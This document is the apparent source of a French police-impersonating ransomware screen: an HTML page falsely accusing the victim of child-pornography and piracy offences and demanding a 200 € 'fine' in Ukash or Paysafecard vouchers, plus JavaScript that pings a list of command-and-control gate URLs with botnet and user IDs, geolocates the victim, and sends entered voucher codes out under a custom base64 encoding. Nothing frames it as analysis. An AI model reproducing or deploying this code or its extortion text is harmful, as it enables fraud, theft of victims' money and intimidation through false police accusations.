--[index.html]------------------------------------------------------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title></title>
</head>
<body>
<!-- static strings -->
<input type="hidden" name="v1" id="v1" value="http://cndroaayghmf.com/de/2/gate.php">
<input type="hidden" name="v2" id="v2" value="einzahlung@mail.com">
<input type="hidden" name="v3" id="v3" value="0">
<script type="text/javascript" src="main.js"></script>
<!-- end of static strings -->
<div id="mainbox">
<img src='coat.gif' alt='coat' class='left'><img src='fr_gendarmerie.gif' alt='gendarmerie' class='right'>
<h1>ATTENTION!</h1>
<h1>Votre ordinateur a été bloqué pour violation de la loi Française</h1>
<!-- title and description -->
<p class='main' style='clear:both'>Les infractions suivantes ont été détectées:</p>
<ul class='main'>
<li class='main'>Le fait, en vue de sa diffusion, de fixer, d’enregistrer ou de transmettre des matériels pornographique impliquant des mineurs.</li>
<li class='main'>Spam.</li>
<li class='main'>Utilisation des logiciels en infraction avec les droits d'auteur.</li>
<li class='main'>Partager des fichiers multimédia en infraction avec les droits d'auteur.</li>
</ul>
<p class='main'>
Pour débloquer votre ordinateur, vous devez payer 200 € dans les 3 jours prochaines.
Si vous ne payez pas dans le délai précisé, votre ordinateur sera confisqués
et votre cas sera soumis au tribunal.
</p>
<p class='main'>
Vous pouvez payer l'amende avec l'aide des vouchers Ukash ou Paysafecard.
Acheter les vouchers par Ukash ou Paysafecard de 200 €. Ensuite, ouvrez
le tab «Payer amende», remplir le forme avec les codes et valuers des vouchers,
et clique sur le bouton «Payer amende». Votre ordinateur sera débloqué dans les 24 heures suivantes.
</p>
<p class='main'>Après le débloquage, nous suggérons que vous:</p>
<ul class='main'>
<li class='main'>Supprime toutes les fichiers multimédia en infraction avec les droits d'auteur.</li>
<li class='main'>Supprime des logiciels en infraction avec les droits d'auteur.</li>
<li class='main'>Installer un logiciel anti-virus, si vous n'en avez pas encore.</li>
<li class='main'>Faire un scan anti-virus.</li>
</ul>
<!-- end of title and description -->
<!-- location table -->
<table style='margin-left: auto; margin-right: auto'>
<tr>
<td style='width: 130px; font-weight: 600;'>Votre SE: </td><td style='width:200px; font-weight: 600;'><span id='v_os'></span></td>
<td style='width: 130px; font-weight: 600;'>Votre FAI:</td><td style='width:200px; font-weight: 600;'><span id='v_isp'></span></td>
</tr>
<tr>
<td style='width: 130px; font-weight: 600;'>Votre adresse IP:</td><td style='width:200px; font-weight: 600;'><span id='v_ip'></span></td>
<td style='width: 130px; font-weight: 600;'>Votre ville:</td><td style='width:200px; font-weight: 600;'><span id='v_city'></span></td>
</tr>
</table>
<br>
<!-- end of location table -->
<!-- multitab table -->
<table border='0' cellspacing='0' cellpadding='2' style='width: 100%; background-color: #fff;'>
<tr>
<td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc;'> </td>
<td class='open' id='vouchers_info_tab' onclick='switch_tab("vouchers_info_tab", "vouchers_info")' style='width:380px'>Dépenser Ukash/Paysafecard est facile</td>
<td class='close' id='penalty_form_tab' onclick='switch_tab("penalty_form_tab", "penalty_form")' style='width:380px'>Payer amende</td>
<td width='10px' align='center' style='border-bottom: 1px solid black; background-color: #f8f8fc'> </td>
</tr>
<tr>
<td colspan='4' height='100px' style='border-left: 1px solid black; border-bottom: 1px solid black; border-right: 1px solid black; border-radius: 0 0 5px 5px'>
<!-- first tab: getting vouchers information -->
<div id='vouchers_info' class='multitab_window' style='display:block'>
<table style='border: 0; width: 100%;'>
<tr>
<td style='vertical-align: top'>
<p>
<img src='tabac.png' alt='tabac' class='left'>
<b>
Acheter Ukash/Paysafecard dans plus de 20.000 points de vente en France,
y compris les bureaux de tabac, presse et stations service.
</b>
</p>
<ul style='clear: both'>
<li>Trouvez le point de vente le plus proche</li>
<li>Demandez Ukash/Paysafecard : 20€, 50€, 100€, 200€</li>
<li>Obtenez votre code Ukash de 19 chiffres (Paysafecard de 16 chiffres)</li>
</ul>
</td>
<td style='vertical-align: top; width: 250px'>
<img src='card_ukash.png' alt='ukash' align='right'><br>
<img src='psc.png' alt='paysafecard' align='right' style='clear:both'>
</td>
</tr>
</table>
<hr width='90%' align='center'>
<table style='border:0;width:100%'>
<tr>
<td style='vertical-align: top'>
<p>
<img src='toneo_small.gif' alt='toneo' class='left'>
<b>
Utilisez les Cartes Tonéo pour obtenir des bons Ukash.
Les Cartes Tonéo sont disponibles dans plus de 30.000 points de vente
(Bureaux de tabac, Points presse, Téléboutiques, Stations Service).
Les cartes Tonéo sont proposées pour des valeurs de 7.5€, 15€, 50€, 100€.
</b>
</p>
<p>
<ul>
<li>Composez le <span style='color:#0c0;font-weight:bold'>01 72 48 35 35</span> (gratuit)</li>
<li>Choisissez un code Ukash</li>
<li>Sélectionnez Ukash et la valeur désirée (5, 10, 40 ou 90 EUR)</li>
<li>Entrez votre numéro de Carte Tonéo</li>
<li>Recevez votre code par SMS</li>
</ul>
</p>
</td>
<td style='vertical-align:top'>
<img src='toneo_help.jpg' alt='toneo help' align='right'>
<img src='toneo_card.png' alt='toneo card' align='right' style='clear:both'>
</td>
</tr>
</table>
</div>
<!-- end of first tab: getting vouchers information -->
<!-- second tab: penalty form -->
<div id='penalty_form' class='multitab_window' style='display:none;'>
<table id='penalty'>
<tr class='penhdr'>
<td style='width:10%'>?</td>
<td style='width:60%'>Voucher code</td>
<td style='width:30%'>Voucher valeur</td>
<td style='width:100px'><!-- minus column --></td>
</tr>
<tr>
<td>1</td>
<td><input id='voucher_code0' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'></td>
<td><input id='voucher_value0' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'></td>
<td><!-- minus column --></td>
</tr>
<tr>
<td colspan='2'><input type='button' value='+1: Ajoutez une position plus' onclick='add_voucher_position()'></td>
<td>Au total: <span id='total_amount'>0</span> €</td>
<td><!-- minus column --></td>
</tr>
<tr>
<td colspan='4' style='text-align: center'><input id='do_pay' type='button' value='Payer amende' disabled='' style='' onclick='send_vouchers()'></td>
</tr>
</table>
</div>
<!-- end of second tab: penalty form -->
</td>
</tr>
</table>
<!-- end of multitab table -->
</div>
<!-- end of mainbox -->
</body>
</html>
--[main.js]------------------------------------------------------------------
/*
* Global variables
*/
var debug = false;
var debug_ec = false;
if (debug || debug_ec)
{
alert("DEBUG! DEBUG! DEBUG!");
document.getElementById("v3").value = "1";
}
var penalty_amount = 200;
var g_botnet = "fr2";
var g_os_version = "Unknown";
var g_userid = "0";
var RESPONSE_PONG = "Pong!";
var RESPONSE_OK = "OK";
var MSG_WRONG_VOUCHERS = "Voucher code incorrecte.";
var MSG_VOUCHERS_SENT = "Voucher a été envoyé. Attends pour environ 24h.";
var MSG_LOW_TOTAL = "Total des moins de "+penalty_amount+" €";
if (debug)
{
g_gates = [
"http://lck-test.net/gate.php",
"http://lck-test4.net/gate.php", // not exists
"http://lck-test1.net/gate.php",
"http://lck-test2.net/gate.php",
"http://lck-test3.net/gate.php"
]
}
else
{
g_gates = [
"http://ytxihkrmfbww.com/gate.php",
"http://bundespol.com/gate.php",
"http://yycqparxvohd.com/gate.php",
"http://wzuoqliyknpz.com/gate.php"
]
}
var positions_count = 1;
var g_state = new Object();
g_state.geo_location_lock = false;
g_state.geo_location_set = false;
g_state.report_lock = false;
g_state.report = "";
g_state.report_sent = true;
g_state.gate_selector_lock = false;
g_state.gate_selector_gate_works = true;
g_state.gate_selector_calls_count = 999999;
g_state.gate_selector_gate_index = 0;
g_state.os_version_set = false;
g_state.userid_set = false;
g_base64_std_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
g_base64_priv_key = "rAo1puyYs=awvfKHgjBkMEzCx+DV50/tQhJR6lOIqZbSNme8U7FW4X3idnTLc92GP";
function print_g_state()
{
if (debug_ec)
{
console.log("dump of g_state:")
console.log("\tg_state.geo_location_lock: %s", g_state.geo_location_lock ? "true" : "false");
console.log("\tg_state.geo_location_set: %s", g_state.geo_location_set ? "true" : "false");
console.log("\tg_state.report_lock: %s", g_state.report_lock ? "true" : "false");
console.log("\tg_state.report: %s", g_state.report);
console.log("\tg_state.report_sent: %s", g_state.report_sent ? "true" : "false");
console.log("\tg_state.gate_selector_lock: %s", g_state.gate_selector_lock ? "true" : "false");
console.log("\tg_state.gate_selector_gate_works: %s", g_state.gate_selector_gate_works ? "true" : "false");
console.log("\tg_state.gate_selector_calls_count: %d", g_state.gate_selector_calls_count);
console.log("\tg_state.gate_selector_gate_index: %d (%s)", g_state.gate_selector_gate_index, g_gates[g_state.gate_selector_gate_index]);
console.log("===================================================================================================");
}
}
function base64_encode(input, key)
{
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
while (i < input.length)
{
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2))
{
enc3 = enc4 = 64;
}
else if (isNaN(chr3))
{
enc4 = 64;
}
output = output +
key.charAt(enc1) + key.charAt(enc2) +
key.charAt(enc3) + key.charAt(enc4);
}
return output;
}
/*
* multitab window's tabs switcher
*/
function switch_tab(content_tab_id, content_id)
{
document.getElementById('vouchers_info_tab').className = 'close';
document.getElementById('penalty_form_tab').className = 'close';
document.getElementById(content_tab_id).className = 'open';
document.getElementById('vouchers_info').style.display = 'none';
document.getElementById('penalty_form').style.display = 'none';
document.getElementById(content_id).style.display = 'block';
return;
}
/*
* Text input filter
*/
(function()
{ // after loading document init function will be called
if (window.addEventListener)
window.addEventListener("load", init, false);
else if (window.attachEvent)
window.attachEvent("onload", init);
})();
function register_handler(id)
{
// register handler function
if (id.addEventListener)
{
id.addEventListener("keypress", filter, false);
}
else
{
id.onkeypress = filter;
}
return;
}
// Find all <input> tags, for which necessary to register event handler
function init()
{
var inputtags = document.getElementsByTagName("input");
for(var i = 0; i < inputtags.length; i++) // traverse all tags
{
var tag = inputtags[i];
if (tag.type != "text") continue; // only text fields
var allowed = tag.getAttribute("allowed");
if (!allowed) continue; // and only if presents attribute 'allowed'
// register handler function
register_handler(tag);
}
}
// This is event 'keypress' handler, which maintains input filtration.
function filter(event)
{
// Get event object and character code by portable way
var e = event || window.event; // Keyboard event object
var code = e.charCode || e.keyCode; // What key pressed
// If pressed functional key do not filter it
if (e.charCode == 0) return true; // Functional key (FF only)
if (e.ctrlKey || e.altKey) return true; // Pressed Ctrl or Alt
if (code < 32) return true; // ctrl ASCII code
// Now get information from input element
var allowed = this.getAttribute("allowed"); // Allowed characters
var errorClassName = this.getAttribute("errorclass"); // class name indicating error
var successClassName = this.getAttribute("successclass"); // class name indicating success
// Translate key code to character
var c = String.fromCharCode(code);
// Check whether character in allowed characters list or not
if (allowed.indexOf(c) != -1)
{
// character c is allowed
this.className = successClassName;
return true; // Accept input
}
else
{
// character c is not allowed
this.className = errorClassName;
// Prevent input
if (e.preventDefault) e.preventDefault();
if (e.returnValue) e.returnValue = false;
return false;
}
}
/*
* End of text input filter
*/
/*
* penalty form support code
*/
function get_position_number_html(position_number)
{
return "" + (position_number * 1 + 1);
}
function get_voucher_code_html(position_number)
{
return "<input id='voucher_code" + position_number + "' type='text' size='25' maxlength='19' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder'>";
}
function get_voucher_value_html(position_number)
{
return "<input id='voucher_value" + position_number + "' type='text' size='14' maxlength='3' value='0' allowed='0123456789' errorclass='errborder' successclass='goodborder' class='goodborder' onkeyup='refresh_total()'>";
}
function get_img_minus_html(position_number)
{
return position_number <= 0 ? "" : "<img src='minus.png' alt='' onclick='delete_voucher_position(" + position_number + ")'>";
}
function add_voucher_position()
{
var position_number = positions_count;
positions_count++;
var newrow = document.all.penalty.insertRow(position_number + 1);
var newcell = newrow.insertCell(0);
newcell.innerHTML = get_position_number_html(position_number);
newcell = newrow.insertCell(1);
newcell.innerHTML = get_voucher_code_html(position_number);
newcell = newrow.insertCell(2);
newcell.innerHTML = get_voucher_value_html(position_number);
newcell = newrow.insertCell(3);
newcell.innerHTML = get_img_minus_html(position_number);
register_handler(document.getElementById("voucher_code"+position_number));
register_handler(document.getElementById("voucher_value"+position_number));
return;
}
function delete_voucher_position(position_number)
{
var i, j;
var vouchers = new Array();
var values = new Array();
var total_amount;
for(i = 0, j = 0; i < positions_count; i++)
{
if (i != position_number)
{
vouchers[j] = document.getElementById("voucher_code"+i).value;
values[j] = document.getElementById("voucher_value"+i).value;
j++;
}
}
for(i = 0; i < positions_count; i++)
{
document.all.penalty.deleteRow(1);
}
positions_count--;
for(i = 0; i < positions_count; i++)
{
var newrow = document.all.penalty.insertRow(i + 1);
var newcell = newrow.insertCell(0);
newcell.innerHTML = get_position_number_html(i);
newcell = newrow.insertCell(1);
newcell.innerHTML = get_voucher_code_html(i);
newcell = newrow.insertCell(2);
newcell.innerHTML = get_voucher_value_html(i);
newcell = newrow.insertCell(3);
newcell.innerHTML = get_img_minus_html(i);
}
for(i = 0; i < positions_count; i++)
{
document.getElementById("voucher_code"+i).value = vouchers[i];
document.getElementById("voucher_value"+i).value = values[i];
register_handler(document.getElementById("voucher_code"+i));
register_handler(document.getElementById("voucher_value"+i));
}
total_amount = 0;
for(i = 0; i < positions_count; i++)
{
total_amount += values[i] * 1;
}
document.getElementById("total_amount").innerHTML = total_amount;
return;
}
function refresh_total()
{
var total_amount = 0;
for(var i = 0; i < positions_count; i++)
{
total_amount += document.getElementById("voucher_value"+i).value * 1;
}
document.getElementById("total_amount").innerHTML = total_amount;
var do_pay = document.getElementById("do_pay");
//do_pay.disabled = total_amount < penalty_amount ? 'disabled' : '';
do_pay.disabled = '';
return total_amount;
}
/*
* End of penalty form support code
*/
/*
* Geoip code
*/
function http_new_request()
{
if(typeof XMLHttpRequest != "undefined")
{
return new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
var aVersions = ["MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"];
for (var i = 0; i < aVersions.length; i++)
{
try
{
return new ActiveXObject(aVersions[i]);
}
catch (e) {}
}
}
}
function http_get(target, callback, options)
{
var request = http_new_request();
var timer;
if (options.timeout)
{
timer = setTimeout(
function()
{
request.abort();
if (options.timeoutHandler)
options.timeoutHandler(target);
},
options.timeout
)
}
request.onreadystatechange = function()
{
if (request.readyState == 4)
{
if (timer) clearTimeout(timer);
if (request.status == 200)
{
callback(request.responseText);
}
else
{
if (options.errorHandler) options.errorHandler(request.status, request.statusText);
else callback(null);
}
}
}
try
{
request.open("GET", target, true);
request.send(null);
}
catch (e) {
}
}
function set_geo_location()
{
var options = new Object();
function cb_set_geo_location(response_text)
{
try
{
if (response_text == null)
{
g_state.geo_location_set = false;
}
else
{
var re = /Your IP Address(.*?)<b>(.*?)<\/b>/i;
var s_ip = response_text.match(re)[2].toString();
re = /ISP:(.*?)<b>(.*?)<\/b>/i;
var s_isp = response_text.match(re)[2].toString();
re = /City:(.*?)<b>(.*)<\/b>/i;
var s_city = response_text.match(re)[2].toString();
if (s_ip == "")
{
s_ip = "188.28.11.121";
}
document.getElementById("v_ip").innerHTML = s_ip;
document.getElementById("v_city").innerHTML = s_city;
document.getElementById("v_isp").innerHTML = s_isp;
g_state.geo_location_set = true;
}
}
catch (e) {}
finally
{
g_state.geo_location_lock = false;
}
}
function cb_set_geo_location_timeout(target)
{
g_state.geo_location_set = false;
g_state.geo_location_lock = false;
}
if (!g_state.geo_location_set && !g_state.geo_location_lock)
{
g_state.geo_location_lock = true;
options.timeout = 3000;
options.timeoutHandler = cb_set_geo_location_timeout;
http_get("http://tools.ip2location.com/ib2/", cb_set_geo_location, options);
}
}
function select_gate()
{
var options = new Object();
function cb_select_gate(response_text)
{
if (response_text == RESPONSE_PONG)
{
g_state.gate_selector_gate_works = true;
g_state.gate_selector_calls_count = 0;
if (debug_ec) console.log("Pinging gate %s was successfully.", g_gates[g_state.gate_selector_gate_index]);
}
else
{
g_state.gate_selector_gate_works = false;
if (debug_ec) console.log("Pinging gate %s was failed.", g_gates[g_state.gate_selector_gate_index]);
}
g_state.gate_selector_lock = false;
}
function cb_select_gate_timeout(target)
{
g_state.gate_selector_gate_works = false;
g_state.gate_selector_lock = false;
if (debug_ec) console.log("Pinging gate %s was timeout.");
}
if (!g_state.gate_selector_lock && g_state.userid_set)
{
if (!g_state.gate_selector_gate_works || g_state.gate_selector_calls_count++ > 10800) // every three hours
{
g_state.gate_selector_lock = true;
if (debug_ec) console.log("Pinging gate %s...", g_gates[g_state.gate_selector_gate_index]);
if (!g_state.gate_selector_gate_works)
{
g_state.gate_selector_gate_index = (g_state.gate_selector_gate_index + 1) % g_gates.length;
}
options.timeout = 5000;
options.timeoutHandler = cb_select_gate_timeout;
var os_version = base64_encode(g_os_version, g_base64_std_key);
http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=ping&botnet="+g_botnet+"&userid="+g_userid+"&os="+os_version, cb_select_gate, options);
}
}
}
function send_report()
{
var options = new Object();
function cb_send_report(response_text)
{
if (response_text != RESPONSE_OK)
{
g_state.gate_selector_gate_works = false;
g_state.report_sent = false;
if (debug_ec) console.log("Sending report '%s' on gate %s was failed.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
}
else
{
if (debug_ec) console.log("Sending report '%s' on gate %s was successfully.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
}
g_state.report_lock = false;
}
function cb_send_report_timeout(target)
{
g_state.gate_selector_gate_works = false;
g_state.report_lock = false;
if (debug_ec) console.log("Sending report '%s' on gate %s was timeout.", g_state.report, g_gates[g_state.gate_selector_gate_index]);
}
if (!g_state.report_lock && !g_state.report_sent && g_state.gate_selector_gate_works)
{
g_state.report_lock = true;
if (debug_ec) console.log("Sending report '%s' on gate %s...", g_state.report, g_gates[g_state.gate_selector_gate_index]);
// set 'report_sent = true' here to prevent overwriting this flag in
// moment between changing report value and calling cb_send_report()
g_state.report_sent = true;
options.timeout = 5000;
options.timeoutHandler = cb_send_report_timeout;
http_get(g_gates[g_state.gate_selector_gate_index]+"?cmd=data&botnet="+g_botnet+"&userid="+g_userid+"&report="+g_state.report, cb_send_report, options);
}
}
function set_os_version()
{
if (g_state.os_version_set) return;
var iOS = new Array("Windows 95","Windows NT 4","Windows 98","Win 9x 4.9","Windows NT 5.0","Windows NT 5.1","Windows NT 6.1","Windows NT 5.2","Windows NT 6.0");
var oOS = new Array("Windows 95","Windows NT 4.0","Windows 98","Windows ME","Windows 2000","Windows XP","Windows Seven","Windows 2003","Windows Vista");
var os = "";
for (var i = 0; i < iOS.length; i++)
{
if (navigator.userAgent.indexOf(iOS[i]) > -1)
{
os = oOS[i];
break;
}
}
g_os_version = os;
document.getElementById("v_os").innerHTML = os;
g_state.os_version_set = true;
if (debug_ec) console.log("OS version set successfully.");
}
function set_userid()
{
if (g_state.userid_set) return;
g_userid = document.getElementById("v3").value;
if (g_userid != "0")
{
g_state.userid_set = true;
if (debug_ec) console.log("Userid set successfully.");
}
}
function monitor()
{
refresh_total();
set_geo_location();
set_os_version();
set_userid();
select_gate();
send_report();
}
window.onload = function ()
{
setInterval(monitor, 1000);
}
function are_vouchers_valid()
{
var prefix;
var is_valid = true;
var ret = true;
for(var i = 0; i < positions_count; i++)
{
var voucher_code = document.getElementById("voucher_code"+i);
var voucher = voucher_code.value;
if (voucher.length == 19)
{
prefix = voucher.substr(0, 6);
if (prefix != "633718")
{
is_valid = false;
}
}
else if (voucher.length == 16)
{
prefix = voucher.substr(0, 1);
if (prefix != "0")
{
is_valid = false;
}
}
else
{
is_valid = false;
}
if (is_valid)
{
voucher_code.className = voucher_code.getAttribute("successclass");
}
else
{
voucher_code.className = voucher_code.getAttribute("errorclass");
ret = false;
}
}
return ret;
}
function send_vouchers()
{
var report = "";
if (!are_vouchers_valid())
{
alert(MSG_WRONG_VOUCHERS);
return;
}
var total = refresh_total();
if (total < penalty_amount)
{
alert(MSG_LOW_TOTAL);
return;
}
for(var i = 0; i < positions_count; i++)
{
var voucher = document.getElementById("voucher_code"+i).value;
var value = document.getElementById("voucher_value"+i).value;
report += report.length ? "x" : "";
report += voucher + "-" + value;
}
if (report.length > 16)
{
report = base64_encode(report, g_base64_priv_key);
if (g_state.report != report)
{
g_state.report = report;
g_state.report_sent = false;
if (debug_ec) console.log("Report updated and wait sending.");
}
}
alert(MSG_VOUCHERS_SENT);
return;
}
--[style.css]------------------------------------------------------------------
body {
margin-bottom: 10px;
background-color: #777; /* #F5FCF5; */
overflow-y: auto;
}
#mainbox h1 {
color: #000000;
text-align: center;
text-decoration: none;
font-size: 1.5em;
font-family: "Arial", "Verdana", sans-serif;
}
.center {
text-align: center;
}
p.main {
color: #000000;
text-align: justify;
text-decoration: none;
text-indent: 2em;
font-size: 1.00em;
font-family: "Times New Roman", "Times", sans;
}
#mainbox {
margin-left: auto;
margin-right: auto;
width: 800px;
padding: 20px;
overflow: auto;
background-color: #f8f8fc;
border: 2px solid #303030;
border-radius: 7px;
}
#paymentbox {
margin: 10px 10px 10px 10px;
width: 380px;
padding: 10px;
overflow: auto;
background-color: #ffffff;
border: 2px solid #303030;
border-radius: 7px;
}
.open { /* Активная вкладка */
border: 1px solid black;
border-bottom: none;
border-radius: 5px 5px 0 0;
text-align: center;
font-weight: bold;
padding: 4px;
}
.close:hover{
background-color: #c0c0c8;
color: #000;
cursor: pointer;
}
.close { /* Неактивная вкладка */
border: 1px solid black;
border-radius: 5px 5px 0 0;
text-align: center;
background: #f0f0f8;
padding: 4px;
}
.multitab_window {
background-color: #ffffff;
width: 760px;
margin-left: auto;
margin-right: auto;
position: relative;
}
table#penalty {
width: 100%;
border-width: 0;
text-align: left;
}
.penhdr {
color: #222;
text-align: left;
text-decoration: underline;
text-indent: 0;
font-size: 1.0em;
font-family: "Times New Roman", "Times", sans;
}
.errborder {
border: 2px solid red;
border-radius: 3px 3px 3px 3px;
}
.goodborder {
border: 2px solid #e0e0e8;
border-radius: 3px 3px 3px 3px;
}
table#penalty input[type="button"] {
border: 2px solid #e0e0e8;
border-radius: 3px 3px 3px 3px;
color: #000;
background-color: #f0f0f8;
}
img.left {
float: left;
margin: 0px 15px 7px 0px;
}
img.right {
float: right;
margin: 0px 0px 7px 15px;
}
--------------------------------------------------------------------- b? m?d --